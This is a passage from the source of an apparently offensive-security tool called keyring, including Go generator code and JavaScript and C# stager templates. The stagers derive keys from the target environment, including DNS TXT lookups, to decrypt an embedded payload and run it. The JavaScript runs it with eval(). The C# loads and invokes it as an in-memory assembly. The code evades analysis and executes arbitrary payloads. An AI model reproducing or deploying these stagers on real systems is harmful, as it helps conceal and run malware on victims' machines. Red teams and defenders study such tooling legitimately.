76 | for(k = 0; k < combos.length; k++) {
77 | var key = combos[k].toLowerCase() + path.toLowerCase();
78 |
79 | key = getSHA512(key);
80 | key = key.substring(0,32);
81 | try {
82 | var decrypted = decryptAES(encrypted, key, aesIVBase64)
83 | if(compareHash(decrypted, payloadHash, minusBytes)) {
84 | eval(decrypted);
85 | return;
86 | }
87 | }
88 | catch(err) {}
89 | }
90 | return "";
91 | }
92 |
93 | {{.Functions}}
94 |
95 | var idx = 0;
96 | do {
97 | var chains = [], combos = [];
98 | chains.push("");
99 | combos.push("");
100 |
101 | {{.Callers}}
102 |
103 | combos = getCombinations(combos);
104 | for(i = 0; i < chains.length; i++) {
105 | tryKeyCombos(combos, chains[i], "{{.EncryptedBase64}}", "{{.PayloadHash}}", "{{.AESIVBase64}}", {{.MinusBytes}})
106 | }
107 | idx++;
108 | } while(idx < {{.Retries}});
109 |
110 |
111 |
--------------------------------------------------------------------------------
/data/csharp/lang.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | csharp
4 | cs
5 |
6 | using System;
7 | using System.Collections.Generic;
8 | using System.Reflection;
9 | using System.Runtime.InteropServices;
10 | using System.Security.Cryptography;
11 | using System.Text;
12 |
13 | namespace Keyring
14 | {
15 | class Program
16 | {
17 | static void Main(string[] args)
18 | {
19 | string fun = "{{.EncryptedBase64}}";
20 | string chk = "{{.PayloadHash}}";
21 | byte[] encryptedBlob = Convert.FromBase64String(fun);
22 | byte[] aesIV = Convert.FromBase64String("{{.AESIVBase64}}");
23 | int idx = 0;
24 | Encoding utf8 = Encoding.UTF8;
25 | do
26 | {
27 | List<string> combos = new List<string>();
28 | List<string> chains = new List<string>();
29 | chains.Add("");
30 |
31 | {{.Callers}}
32 |
33 | combos = GetCombinations(combos);
34 | combos.Add("");
35 | foreach(string chain in chains)
36 | {
37 | if(TryKeyCombos(combos, chain, encryptedBlob, aesIV, chk, utf8))
38 | {
39 | return;
40 | }
41 | }
42 | {{if .Sleep}}
43 | System.Threading.Thread.Sleep({{.Sleep}} * 1000);
44 | {{end}}
45 | idx++;
46 | } while(idx < {{.Retries}});
47 | }
48 |
49 | private static bool TryKeyCombos(List<string> combos, string chain, byte[] encryptedBlob, byte[] aesIV, string payloadHash, Encoding e)
50 | {
51 | foreach(string combo in combos)
52 | {
53 | try
54 | {
55 | byte[] key = e.GetBytes((combo + chain).ToLower());
56 | string keyHash = SHA512(key, 0);
57 | byte[] decr = AESDecrypt(e.GetBytes(keyHash), encryptedBlob, aesIV);
58 | string decr_hash = SHA512(decr, {{.MinusBytes}});
59 | if(payloadHash == decr_hash)
60 | {
61 | Assembly a = Assembly.Load(decr);
62 | Type type = a.GetType("{{.AssemblyType}}");
63 | MethodInfo methodInfo = type.GetMethod("{{.AssemblyMethod}}");
64 | if (methodInfo == null) { continue; }
65 | var o = Activator.CreateInstance(type);
66 | object[] arguments = null;
67 | methodInfo.Invoke(o, arguments);
68 | return true;
69 | }
70 | }
71 | catch { }
72 | }
73 | return false;
74 | }
75 |
76 | //https://stackoverflow.com/questions/7802822/all-possible-combinations-of-a-list-of-values
77 | private static List<string> GetCombinations(List<string> list)
78 | {
79 | List<string> result = new List<string>();
80 | double count = Math.Pow(2, list.Count);
81 | for (int i = 1; i <= count - 1; i++)
82 | {
83 | string s = "";
84 | string str = Convert.ToString(i, 2).PadLeft(list.Count, '0');
85 | for (int j = 0; j < str.Length; j++)
86 | {
87 | if (str[j] == '1')
88 | {
89 | s = s + list[j];
90 | }
91 | }
92 | result.Add(s);
93 | }
94 | return result;
95 | }
96 |
97 | private static bool ByteArrayCompare(byte[] a1, byte[] a2)
98 | {
99 | if (a1.Length != a2.Length)
100 | return false;
101 |
102 | for (int i = 0; i < a1.Length; i++)
103 | if (a1[i] != a2[i])
104 | return false;
105 |
106 | return true;
107 | }
108 |
109 | private static string SHA512(byte[] bytes, int mb)
110 | {
111 | byte[] hashMe = new byte[bytes.Length - mb];
112 | Array.Copy(bytes, hashMe, bytes.Length - mb);
113 |
114 | string hash;
115 | using (SHA512Managed hasher = new SHA512Managed())
116 | {
117 | byte[] hashBytes = hasher.ComputeHash(hashMe);
118 | hash = ToHex(hashBytes);
119 | }
120 | return hash;
121 | }
122 |
123 | //https://stackoverflow.com/questions/46194754/how-to-hex-encode-a-sha-256-hash
124 | private static string ToHex(byte[] bytes)
125 | {
126 | StringBuilder result = new StringBuilder(bytes.Length * 2);
127 | for (int i = 0; i < bytes.Length; i++)
128 | result.Append(bytes[i].ToString("x2"));
129 | return result.ToString();
130 | }
131 |
132 | private static byte[] AESDecrypt(byte[] sha512, byte[] bytes, byte[] iv)
133 | {
134 | byte[] key = new byte[32];
135 | Array.Copy(sha512, 0, key, 0, 32);
136 |
137 | var aes = new RijndaelManaged();
138 | aes.Padding = PaddingMode.PKCS7;
139 | aes.Key = key;
140 | aes.IV = iv;
141 | aes.Mode = CipherMode.CBC;
142 | return aes.CreateDecryptor().TransformFinalBlock(bytes, 0, bytes.Length);
143 | }
144 | {{.Functions}}
145 | }
146 | }
147 |
148 |
149 |
--------------------------------------------------------------------------------
/data/csharp/keyers/dnskey.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | DNS Key
4 | Makes a DNS query using P/Invoke and WinAPI to retrieve a TXT record and hashes the response.
5 | combo
6 | 1
7 |
8 | Number of inputs: 1
9 | Input 1: FQDN hostname
10 | ex) host.domain.com
11 |
12 |
13 | }
14 |
15 | // taken from https://github.com/Arno0x/DNSExfiltrator
16 | public class DnsResolver
17 | {
18 | [DllImport("dnsapi", EntryPoint = "DnsQuery_W", CharSet = CharSet.Unicode, SetLastError = true, ExactSpelling = true)]
19 | private static extern int DnsQuery([MarshalAs(UnmanagedType.VBByRefStr)]ref string pszName, DnsRecordTypes wType, DnsQueryOptions options, ref IP4_ARRAY dnsServerIpArray, ref IntPtr ppQueryResults, int pReserved);
20 |
21 | [DllImport("dnsapi", CharSet = CharSet.Auto, SetLastError = true)]
22 | private static extern void DnsRecordListFree(IntPtr pRecordList, int FreeType);
23 |
24 | public static string GetTXTRecord(string domain)
25 | {
26 | IntPtr recordsArray = IntPtr.Zero;
27 | IntPtr dnsRecord = IntPtr.Zero;
28 | TXTRecord txtRecord;
29 | IP4_ARRAY dnsServerArray = new IP4_ARRAY();
30 |
31 | System.Collections.ArrayList recordList = new System.Collections.ArrayList();
32 | try
33 | {
34 | int queryResult = DnsResolver.DnsQuery(ref domain, DnsRecordTypes.DNS_TYPE_TXT, DnsQueryOptions.DNS_QUERY_BYPASS_CACHE, ref dnsServerArray, ref recordsArray, 0);
35 |
36 | // Check for error
37 | if (queryResult != 0)
38 | {
39 | return "";
40 | }
41 |
42 | // Loop through the result record list
43 | for (dnsRecord = recordsArray; !dnsRecord.Equals(IntPtr.Zero); dnsRecord = txtRecord.pNext)
44 | {
45 | txtRecord = (TXTRecord)Marshal.PtrToStructure(dnsRecord, typeof(TXTRecord));
46 | if (txtRecord.wType == (int)DnsRecordTypes.DNS_TYPE_TXT)
47 | {
48 | //Console.WriteLine("Size of array: {0}",txtRecord.dwStringCount);
49 | string txt = Marshal.PtrToStringAuto(txtRecord.pStringArray);
50 | recordList.Add(txt);
51 | }
52 | }
53 | }
54 | finally
55 | {
56 | DnsResolver.DnsRecordListFree(recordsArray, 0);
57 | }
58 |
59 | // Return only the first TXT answer
60 | return (string)recordList[0];
61 | }
62 |
63 | public struct IP4_ARRAY
64 | {
65 | /// DWORD->unsigned int
66 | public UInt32 AddrCount;
67 | /// IP4_ADDRESS[1]
68 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1, ArraySubType = UnmanagedType.U4)]
69 | public UInt32[] AddrArray;
70 | }
71 |
72 | [StructLayout(LayoutKind.Sequential)]
73 | private struct TXTRecord
74 | {
75 | // Generic DNS record structure
76 | public IntPtr pNext;
77 | public string pName;
78 | public short wType;
79 | public short wDataLength;
80 | public int flags;
81 | public int dwTtl;
82 | public int dwReserved;
83 |
84 | // TXT record specific
85 | public int dwStringCount;
86 | public IntPtr pStringArray;
87 |
88 | }
89 |
90 | [Flags]
91 | private enum DnsQueryOptions
92 | {
93 | DNS_QUERY_STANDARD = 0x0,
94 | DNS_QUERY_ACCEPT_TRUNCATED_RESPONSE = 0x1,
95 | DNS_QUERY_USE_TCP_ONLY = 0x2,
96 | DNS_QUERY_NO_RECURSION = 0x4,
97 | DNS_QUERY_BYPASS_CACHE = 0x8,
98 | DNS_QUERY_NO_WIRE_QUERY = 0x10,
99 | DNS_QUERY_NO_LOCAL_NAME = 0x20,
100 | DNS_QUERY_NO_HOSTS_FILE = 0x40,
101 | DNS_QUERY_NO_NETBT = 0x80,
102 | DNS_QUERY_WIRE_ONLY = 0x100,
103 | DNS_QUERY_RETURN_MESSAGE = 0x200,
104 | DNS_QUERY_MULTICAST_ONLY = 0x400,
105 | DNS_QUERY_NO_MULTICAST = 0x800,
106 | DNS_QUERY_TREAT_AS_FQDN = 0x1000,
107 | DNS_QUERY_ADDRCONFIG = 0x2000,
108 | DNS_QUERY_DUAL_ADDR = 0x4000,
109 | DNS_QUERY_MULTICAST_WAIT = 0x20000,
110 | DNS_QUERY_MULTICAST_VERIFY = 0x40000,
111 | DNS_QUERY_DONT_RESET_TTL_VALUES = 0x100000,
112 | DNS_QUERY_DISABLE_IDN_ENCODING = 0x200000,
113 | DNS_QUERY_APPEND_MULTILABEL = 0x800000,
114 | DNS_QUERY_RESERVED = unchecked((int)0xF0000000)
115 | }
116 |
117 | private enum DnsRecordTypes
118 | {
119 | DNS_TYPE_A = 0x1,
120 | DNS_TYPE_NS = 0x2,
121 | DNS_TYPE_MD = 0x3,
122 | DNS_TYPE_MF = 0x4,
123 | DNS_TYPE_CNAME = 0x5,
124 | DNS_TYPE_SOA = 0x6,
125 | DNS_TYPE_MB = 0x7,
126 | DNS_TYPE_MG = 0x8,
127 | DNS_TYPE_MR = 0x9,
128 | DNS_TYPE_NULL = 0xA,
129 | DNS_TYPE_WKS = 0xB,
130 | DNS_TYPE_PTR = 0xC,
131 | DNS_TYPE_HINFO = 0xD,
132 | DNS_TYPE_MINFO = 0xE,
133 | DNS_TYPE_MX = 0xF,
134 | DNS_TYPE_TEXT = 0x10,
135 | DNS_TYPE_TXT = DNS_TYPE_TEXT,
136 | DNS_TYPE_RP = 0x11,
137 | DNS_TYPE_AFSDB = 0x12,
138 | DNS_TYPE_X25 = 0x13,
139 | DNS_TYPE_ISDN = 0x14,
140 | DNS_TYPE_RT = 0x15,
141 | DNS_TYPE_NSAP = 0x16,
142 | DNS_TYPE_NSAPPTR = 0x17,
143 | DNS_TYPE_SIG = 0x18,
144 | DNS_TYPE_KEY = 0x19,
145 | DNS_TYPE_PX = 0x1A,
146 | DNS_TYPE_GPOS = 0x1B,
147 | DNS_TYPE_AAAA = 0x1C,
148 | DNS_TYPE_LOC = 0x1D,
149 | DNS_TYPE_NXT = 0x1E,
150 | DNS_TYPE_EID = 0x1F,
151 | DNS_TYPE_NIMLOC = 0x20,
152 | DNS_TYPE_SRV = 0x21,
153 | DNS_TYPE_ATMA = 0x22,
154 | DNS_TYPE_NAPTR = 0x23,
155 | DNS_TYPE_KX = 0x24,
156 | DNS_TYPE_CERT = 0x25,
157 | DNS_TYPE_A6 = 0x26,
158 | DNS_TYPE_DNAME = 0x27,
159 | DNS_TYPE_SINK = 0x28,
160 | DNS_TYPE_OPT = 0x29,
161 | DNS_TYPE_DS = 0x2B,
162 | DNS_TYPE_RRSIG = 0x2E,
163 | DNS_TYPE_NSEC = 0x2F,
164 | DNS_TYPE_DNSKEY = 0x30,
165 | DNS_TYPE_DHCID = 0x31,
166 | DNS_TYPE_UINFO = 0x64,
167 | DNS_TYPE_UID = 0x65,
168 | DNS_TYPE_GID = 0x66,
169 | DNS_TYPE_UNSPEC = 0x67,
170 | DNS_TYPE_ADDRS = 0xF8,
171 | DNS_TYPE_TKEY = 0xF9,
172 | DNS_TYPE_TSIG = 0xFA,
173 | DNS_TYPE_IXFR = 0xFB,
174 | DNS_TYPE_AFXR = 0xFC,
175 | DNS_TYPE_MAILB = 0xFD,
176 | DNS_TYPE_MAILA = 0xFE,
177 | DNS_TYPE_ALL = 0xFF,
178 | DNS_TYPE_ANY = 0xFF,
179 | DNS_TYPE_WINS = 0xFF01,
180 | DNS_TYPE_WINSR = 0xFF02,
181 | DNS_TYPE_NBSTAT = DNS_TYPE_WINSR
182 | }
183 |
184 |
185 | combos.Add(SHA512(utf8.GetBytes(DnsResolver.GetTXTRecord("{{index .Inputs 0}}")), 0));
186 |
187 |
188 |
189 |
--------------------------------------------------------------------------------
/lib/codeutils.go:
--------------------------------------------------------------------------------
1 | package lib
2 |
3 | import (
4 | "bytes"
5 | "encoding/xml"
6 | "fmt"
7 | "gopkg.in/yaml.v2"
8 | "io/ioutil"
9 | "os"
10 | "path/filepath"
11 | "regexp"
12 | "strings"
13 | "text/template"
14 | )
15 |
16 | var KeyringDataPath string
17 |
18 | // Config holds the settings chosen by the user
19 | type Config struct {
20 | Language string `yaml:"language"`
21 | PayloadFile string `yaml:"payloadFile"`
22 | OutputFile string `yaml:"outputFile"`
23 | Keyers []ConfigKeyer `yaml:"keyers"`
24 | Retries string `yaml:"retries"`
25 | Sleep string `yaml:"sleep"`
26 | BaseCode string `yaml:"baseCode"`
27 | // Used for C# payloads
28 | AssemblyType string `yaml:"assemblyType"`
29 | AssemblyMethod string `yaml:"assemblyMethod"`
30 | }
31 |
32 | // Keyer options provided within a config file
33 | type ConfigKeyer struct {
34 | Name string `yaml:"name"`
35 | Inputs []string `yaml:"inputs"`
36 | Output string `yaml:"keydata"`
37 | }
38 |
39 | // Language object stores basic info for each language
40 | // This data will come from the lang.xml file in the root
41 | // directory of the language's directory
42 | type Language struct {
43 | Name string `xml:"name"`
44 | Extension string `xml:"extension"`
45 | BaseCode string `xml:"baseCode"`
46 | }
47 |
48 | // Keyer stores information related to each keyer:
49 | // Name: name of the keyer
50 | // Description: brief description of the keyer
51 | // Type: the type of keyer: combo or chain
52 | // InputNum: number of inputs that need to be provided from user
53 | // Function: primary function that will be called to return something to
54 | // use as a part of the decryption key
55 | // Caller: additional code that will call the function and append to the
56 | // relevant array to eventually build the decryption key
57 | type Keyer struct {
58 | Name string
59 | Title string `xml:"title"`
60 | Description string `xml:"description"`
61 | Type string `xml:"type"`
62 | InputNum int `xml:"inputnum"`
63 | InputHelp string `xml:"inputhelp"`
64 | Function string `xml:"function"`
65 | Caller string `xml:"caller"`
66 | }
67 |
68 | //
69 | // Code Section functions
70 | //
71 |
72 | // ParseLanguage takes a given language, finds the filename and returns the Language struct
73 | func ParseLanguage(lang string) (Language, error) {
74 | langFile := fmt.Sprintf("%s/%s/lang.xml", KeyringDataPath, lang)
75 | langBytes, err := ReadFile(langFile)
76 | if err != nil {
77 | return Language{}, err
78 | }
79 |
80 | var l Language
81 | xml.Unmarshal(langBytes, &l)
82 | return l, nil
83 | }
84 |
85 | // ParseKeyer takes a given language and keyer name, appends '.xml' then calls ParseKeyerFile
86 | func ParseKeyer(lang, keyer string) (Keyer, error) {
87 | keyer = keyer + ".xml"
88 | return ParseKeyerFile(lang, keyer)
89 | }
90 |
91 | // ParseKeyerFile takes a given language and keyer filename, then returns the Keyer struct
92 | func ParseKeyerFile(lang, keyerFileName string) (Keyer, error) {
93 | keyerFile := fmt.Sprintf("%s/%s/keyers/%s", KeyringDataPath, lang, keyerFileName)
94 | keyerBytes, err := ReadFile(keyerFile)
95 | if err != nil {
96 | return Keyer{}, err
97 | }
98 |
99 | var k Keyer
100 | k.Name = strings.TrimSuffix(keyerFileName, ".xml")
101 | xml.Unmarshal(keyerBytes, &k)
102 | return k, nil
103 | }
104 |
105 | // GetLanguages returns all the langs based on directories in ./data
106 | func GetLanguages() []string {
107 | items, err := ioutil.ReadDir(KeyringDataPath)
108 | if err != nil {
109 | fmt.Printf("[!] Error reading folders under %s: %s\n", KeyringDataPath, err)
110 | return nil
111 | }
112 |
113 | var langs []string
114 | for _, item := range items {
115 | if item.IsDir() {
116 | langs = append(langs, item.Name())
117 | }
118 | }
119 |
120 | return langs
121 | }
122 |
123 | // GetCodeFiles gets all xml files under the specified code section directory
124 | func GetCodeFiles(lang, section string) []string {
125 | ext := ".xml"
126 |
127 | folderPath := fmt.Sprintf("%s/%s/%s/", KeyringDataPath, lang, section)
128 | items, err := ioutil.ReadDir(folderPath)
129 | if err != nil {
130 | fmt.Printf("[!] Error reading folders under %s: %s\n", folderPath, err)
131 | return nil
132 | }
133 |
134 | var codeFiles []string
135 | for _, item := range items {
136 | if !item.IsDir() {
137 | // https://gist.github.com/aln787/ea40d18cc33c7a983549
138 | r, err := regexp.MatchString(ext+"$", item.Name())
139 | if err == nil && r {
140 | codeFiles = append(codeFiles, item.Name())
141 | }
142 | }
143 | }
144 | return codeFiles
145 | }
146 |
147 | // PrintCodeFile shows the module path in a nicer format
148 | func PrintCodeFile(m string) string {
149 | return strings.TrimSuffix(strings.TrimPrefix(m, "data/"), ".xml")
150 | }
151 |
152 | //
153 | // Config file functions
154 | //
155 |
156 | // ParseConfigFile reads a provided config file and sets up the Config struct
157 | func ParseConfigFile(path string) (Config, error) {
158 | keyerBytes, err := ReadFile(path)
159 | if err != nil {
160 | return Config{}, err
161 | }
162 |
163 | var c Config
164 | err = yaml.Unmarshal(keyerBytes, &c)
165 | if err != nil {
166 | return Config{}, err
167 | }
168 | return c, nil
169 | }
170 |
171 | // ConfigLintCheck validates the config file
172 | func ConfigLintCheck(config Config) (bool, []string) {
173 | // check if language exists
174 | if !StrInSlice(config.Language, GetLanguages()) {
175 | return false, []string{"Language not supported"}
176 | }
177 |
178 | // make sure there's at least one keyer
179 | if len(config.Keyers) == 0 {
180 | return false, []string{"No Keyers supplied"}
181 | }
182 |
183 | var errorsDetected []string
184 | // check if payload file exists
185 | if _, err := os.Stat(config.PayloadFile); os.IsNotExist(err) {
186 | errorsDetected = append(errorsDetected, config.PayloadFile+" file could not be found")
187 | }
188 |
189 | // run checks on each keyer
190 | for _, keyer := range config.Keyers {
191 | // Parsing the keyer will tell us if it actually exists
192 | keyerObj, err := ParseKeyer(config.Language, keyer.Name)
193 | if err != nil {
194 | e := fmt.Sprintf("Keyer '%s' does not exist", keyer.Name)
195 | errorsDetected = append(errorsDetected, e)
196 | continue
197 | }
198 |
199 | // check if keyer type is "combo" or "chain"
200 | if keyerObj.Type != "chain" && keyerObj.Type != "combo" {
201 | e := fmt.Sprintf("Keyer '%s' type is not valid: %s", keyer.Name, keyerObj.Type)
202 | errorsDetected = append(errorsDetected, e)
203 | }
204 |
205 | // Check length of inputs
206 | if len(keyer.Inputs) != keyerObj.InputNum {
207 | e := keyer.Name + " inputs do not match expected inputs"
208 | errorsDetected = append(errorsDetected, e)
209 | }
210 |
211 | }
212 | if len(errorsDetected) > 0 {
213 | return false, errorsDetected
214 | }
215 | return true, nil
216 | }
217 |
218 | //
219 | // Template Stuff
220 | //
221 |
222 | // InputTemplate holds the Inputs so it can be sent to UpdateTemplate()
223 | type InputTemplate struct {
224 | Input []string
225 | }
226 |
227 | // FinalCodeTemplate holds the placeholders within the BaseCode of a language
228 | // Updating these values results in the final code
229 | type FinalCodeTemplate struct {
230 | Functions string
231 | Callers string
232 | EncryptedBase64 string
233 | PayloadHash string
234 | AESIVBase64 string
235 | MinusBytes string
236 | Retries string
237 | Sleep string
238 | // Used for C# payloads
239 | AssemblyType string
240 | AssemblyMethod string
241 | }
242 |
243 | // UpdateTemplate replaces placeholders within code files with structs
244 | func UpdateTemplate(code string, data interface{}) (string, error) {
245 | tpl := template.Must(template.New("code").Parse(code))
246 | //tpl, err := template.Parse(code)
247 | buf := &bytes.Buffer{}
248 | err := tpl.ExecuteTemplate(buf, "code", data)
249 | return buf.String(), err
250 | }
251 |
252 | // GetKeyringDataPath finds out where keyring is running and where the ./data directory is
253 | func GetKeyringDataPath() {
254 | dir, err := filepath.Abs(filepath.Dir(os.Args[0]))
255 | if err != nil {
256 | KeyringDataPath = "./data"
257 | return
258 | }
259 |
260 | dir += "/data"
261 |
262 | if _, err := os.Stat(dir); os.IsNotExist(err) {
263 | KeyringDataPath = "./data"
264 | return
265 | }
266 |
267 | KeyringDataPath = dir
268 | }
269 |
--------------------------------------------------------------------------------
/keyring.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "bytes"
5 | "flag"
6 | "fmt"
7 | "math/rand"
8 | "runtime"
9 | "strconv"
10 | "strings"
11 | "time"
12 |
13 | "github.com/leoloobeek/keyring/lib"
14 | )
15 |
16 | func main() {
17 | flag.Usage = usage
18 | conf := flag.String("config", "", "Config file to read.")
19 | request := flag.String("request", "", "Request and retrieve an HTTP or DNS key.")
20 | helpKeyer := flag.String("help-keyer", "", "Show detailed help information for a specific keyer. expects /")
21 | listLangs := flag.Bool("list-langs", false, "List all languages.")
22 | listKeyers := flag.String("list-keyers", "", "List all keyers for a specified language.")
23 | lint := flag.Bool("lint", false, "Check config file for errors and print functionality without running GoGreen.")
24 | flag.Parse()
25 |
26 | banner()
27 |
28 | lib.GetKeyringDataPath()
29 |
30 | // If we're just going to request a DNS or HTTP key, lets do that and get out
31 | if *request != "" {
32 | retrieveRemoteKeys(*request)
33 | return
34 | }
35 |
36 | // Print help details for a keyer
37 | if *helpKeyer != "" {
38 | PrintKeyerHelp(*helpKeyer)
39 | return
40 | }
41 |
42 | // List all languages
43 | if *listLangs {
44 | listAllSupportedLangs()
45 | return
46 | }
47 |
48 | // List all keyers
49 | if *listKeyers != "" {
50 | listAllSupportedKeyers(*listKeyers)
51 | return
52 | }
53 |
54 | if *conf == "" {
55 | fmt.Println("[!] No config file provided")
56 | return
57 | }
58 | // Read in the config file
59 | config, err := lib.ParseConfigFile(*conf)
60 | if err != nil {
61 | fmt.Printf("[!] Error received parsing config file: %s\n", err)
62 | return
63 | }
64 |
65 | // Make sure config settings are valid
66 | result, errorsFound := lib.ConfigLintCheck(config)
67 | if !result {
68 | fmt.Println("[!] Config file contains invalid entries!")
69 | fmt.Printf("Errors detected from %s:\n", *conf)
70 | for _, e := range errorsFound {
71 | fmt.Printf("\t%s\n", e)
72 | }
73 | return
74 | }
75 |
76 | if *lint {
77 | fmt.Printf("[+] Config file %s valid", *conf)
78 | return
79 | }
80 |
81 | finalKey, keyHash, payloadHash, outputFile, minusBytes := Run(config)
82 |
83 | fmt.Println()
84 | fmt.Println(" Raw Key:")
85 | fmt.Printf(" %s\n", finalKey)
86 | fmt.Println(" Final Key Hash:")
87 | fmt.Printf(" %s\n", keyHash)
88 | fmt.Println(" Payload Hash (Minus Bytes):")
89 | fmt.Printf(" %s (%d)\n", payloadHash, minusBytes)
90 | fmt.Printf(" Payload written to %s\n", outputFile)
91 | fmt.Println()
92 | }
93 |
94 | // Run does all the fun stuff
95 | func Run(config lib.Config) (string, string, string, string, int) {
96 |
97 | // Read in payload and get hash
98 | payloadBytes, payloadHash, minusBytes := GetPayloadDetails(config.PayloadFile, "sha512")
99 |
100 | // Variables to hold things
101 | var callers bytes.Buffer
102 | var keyCombos bytes.Buffer
103 | var keyChains bytes.Buffer
104 | // string holds the keyer name the function came from to avoid holding more
105 | // than one function per keyer
106 | functionMap := map[string]string{}
107 |
108 | // Loop through each keyer and get necessary info
109 | for _, keyer := range config.Keyers {
110 | keyerObj, err := lib.ParseKeyer(config.Language, keyer.Name)
111 | if err != nil {
112 | fmt.Printf("[!] Unknown keyer: %s\n", keyer.Name)
113 | }
114 |
115 | funcExists := false
116 | // check if this function has already been added
117 | for f := range functionMap {
118 | if f == keyer.Name {
119 | funcExists = true
120 | }
121 | }
122 | // add function if it hasn't already been added
123 | if !funcExists {
124 | function, err := lib.UpdateTemplate(keyerObj.Function, keyer)
125 | if err != nil {
126 | fmt.Printf("[!] Error updating %s's function template with inputs\n", keyer.Name)
127 | fmt.Println(err)
128 | }
129 | functionMap[keyer.Name] = strings.Trim(function, "\n ")
130 | }
131 |
132 | // update the callers
133 | caller, err := lib.UpdateTemplate(keyerObj.Caller, keyer)
134 | if err != nil {
135 | fmt.Printf("[!] Error updating %s's keyer template with inputs\n", keyer.Name)
136 | fmt.Println(err)
137 | }
138 | callers.WriteString(strings.Trim(caller, "\n "))
139 |
140 | // finally, update the key depending on type
141 | if keyerObj.Type == "chain" {
142 | keyChains.WriteString(keyer.Output)
143 | callers.WriteString("\n")
144 | } else if keyerObj.Type == "combo" {
145 | keyCombos.WriteString(keyer.Output)
146 | callers.WriteString("\n")
147 | } else {
148 | fmt.Printf("[!] The keyer type %s is unknown\n", keyerObj.Type)
149 | }
150 | }
151 | // convert map to a string for use
152 | functions := functionMapToString(functionMap)
153 |
154 | finalKey := strings.ToLower(keyCombos.String() + keyChains.String())
155 | keyHash, err := lib.GenerateHash([]byte(finalKey), "sha512")
156 | if err != nil {
157 | fmt.Println("[!] Error generating hash for final key")
158 | }
159 |
160 | // Returns base64 encoded ciphertext and base64 encoded IV
161 | encryptedB64, ivB64, err := lib.AESEncrypt([]byte(keyHash[:32]), payloadBytes)
162 | if err != nil {
163 | fmt.Printf("[!] Error received encrypting: %s", err)
164 | return "", "", "", "", 0
165 | }
166 |
167 | base, _ := lib.ParseLanguage(config.Language)
168 |
169 | // empty sleep var if retries = 0
170 | if config.Retries == "0" {
171 | config.Sleep = ""
172 | }
173 |
174 | minusByteString := strconv.Itoa(minusBytes)
175 | placeholders := lib.FinalCodeTemplate{
176 | Functions: functions,
177 | Callers: callers.String(),
178 | EncryptedBase64: encryptedB64,
179 | AESIVBase64: ivB64,
180 | PayloadHash: payloadHash,
181 | MinusBytes: minusByteString,
182 | Retries: config.Retries,
183 | Sleep: config.Sleep,
184 | }
185 |
186 | additionalLangUpdates(base.Name, &placeholders, &config)
187 |
188 | finalCode, err := lib.UpdateTemplate(base.BaseCode, placeholders)
189 | if err != nil {
190 | fmt.Printf("[!] Error updating final template: %s\n", err)
191 | return "", "", "", "", 0
192 | }
193 |
194 | if config.OutputFile == "" {
195 | config.OutputFile = "output." + base.Extension
196 | }
197 |
198 | lib.WriteFile(config.OutputFile, []byte(finalCode))
199 |
200 | return finalKey, keyHash, payloadHash, config.OutputFile, minusBytes
201 | }
202 |
203 | // additionalLangUpdates adds in any other FinalCodeTemplate attributes which are
204 | // specific to certain languages. Wish this wasn't needed, but some languages just
205 | // need a little more data.
206 | func additionalLangUpdates(language string, fct *lib.FinalCodeTemplate, config *lib.Config) {
207 | if language == "csharp" {
208 | fct.AssemblyType = config.AssemblyType
209 | fct.AssemblyMethod = config.AssemblyMethod
210 | }
211 | }
212 |
213 | // PrintKeyerHelp takes / and prints keyer help if valid
214 | func PrintKeyerHelp(input string) {
215 | s := strings.Split(input, "/")
216 | if len(s) != 2 {
217 | fmt.Println("[!] / expected. Use '-list' to find available keyers")
218 | return
219 | }
220 | keyer, err := lib.ParseKeyer(s[0], s[1])
221 | if err != nil {
222 | fmt.Printf("[!] Error trying to parse %s: %s", input, err)
223 | return
224 | }
225 | fmt.Printf("Keyer: %s\n", keyer.Name)
226 | fmt.Printf("\t%s\n", keyer.Title)
227 | fmt.Printf("Type: %s\n", keyer.Type)
228 | fmt.Println(strings.Trim(keyer.InputHelp, "\n "))
229 | }
230 |
231 | // GetPayloadDetails reads in the payload file and returns the contents,
232 | // payload hash, and minus bytes. Minus bytes are randomly chosen between
233 | // len(payload)/2 -> len(payload)-1
234 | func GetPayloadDetails(payloadFile, hashType string) ([]byte, string, int) {
235 | fileContents, err := lib.ReadFile(payloadFile)
236 | if err != nil {
237 | fmt.Printf("[!] %s: %s\n", payloadFile, err)
238 | return nil, "", 0
239 | }
240 |
241 | // Figure out Minus Bytes
242 | num := len(fileContents) / 2
243 | r := rand.New(rand.NewSource(time.Now().UnixNano()))
244 | minusBytes := r.Intn(num)
245 | if minusBytes == 0 {
246 | minusBytes = 1
247 | }
248 | index := len(fileContents) - minusBytes
249 |
250 | // Generate the hash of the payload for a checksum
251 | payloadHash, err := lib.GenerateHash(fileContents[:index], hashType)
252 | if err != nil {
253 | fmt.Printf("[!] Error generating hash for payload: %s\n", err)
254 | return nil, "", 0
255 | }
256 |
257 | return fileContents, payloadHash, minusBytes
258 | }
259 |
260 | func listAllSupportedLangs() {
261 | fmt.Println("Supported Languages:")
262 | supportedLangs := lib.GetLanguages()
263 |
264 | for _, lang := range supportedLangs {
265 | l, err := lib.ParseLanguage(lang)
266 | if err != nil {
267 | fmt.Printf("[!] Error parsing %s: %s\n", lang, err)
268 | continue
269 | }
270 | fmt.Printf("- %s\n", l.Name)
271 | }
272 | }
273 |
274 | // list all keyers for provided language
275 | func listAllSupportedKeyers(lang string) {
276 | l, err := lib.ParseLanguage(lang)
277 | if err != nil {
278 | fmt.Printf("[!] Error parsing %s: %s\n", lang, err)
279 | return
280 | }
281 | fmt.Printf("Supported Keyers (%s):\n", l.Name)
282 | for _, codeFile := range lib.GetCodeFiles(lang, "keyers") {
283 | k, err := lib.ParseKeyerFile(lang, codeFile)
284 | if err != nil {
285 | fmt.Printf("[!] Error parsing %s: %s\n", codeFile, err)
286 | continue
287 | }
288 | fmt.Printf(" - %s (%s)\n", k.Name, k.Title)
289 | fmt.Printf("\t%s\n", k.Description)
290 | }
291 | }
292 |
293 | // build functions string through values of functionMap
294 | func functionMapToString(fMap map[string]string) string {
295 | var functions bytes.Buffer
296 | for _, value := range fMap {
297 | functions.WriteString(value)
298 | functions.WriteString("\n")
299 | }
300 | return functions.String()
301 | }
302 |
303 | // handles -request flag to retrieve a DNS or HTTP key
304 | func retrieveRemoteKeys(request string) {
305 | // if request is a URL, obtain an HTTP key
306 | if strings.HasPrefix(request, "http://") || strings.HasPrefix(request, "https://") {
307 | httpKey, err := lib.GenerateHttpKey(request)
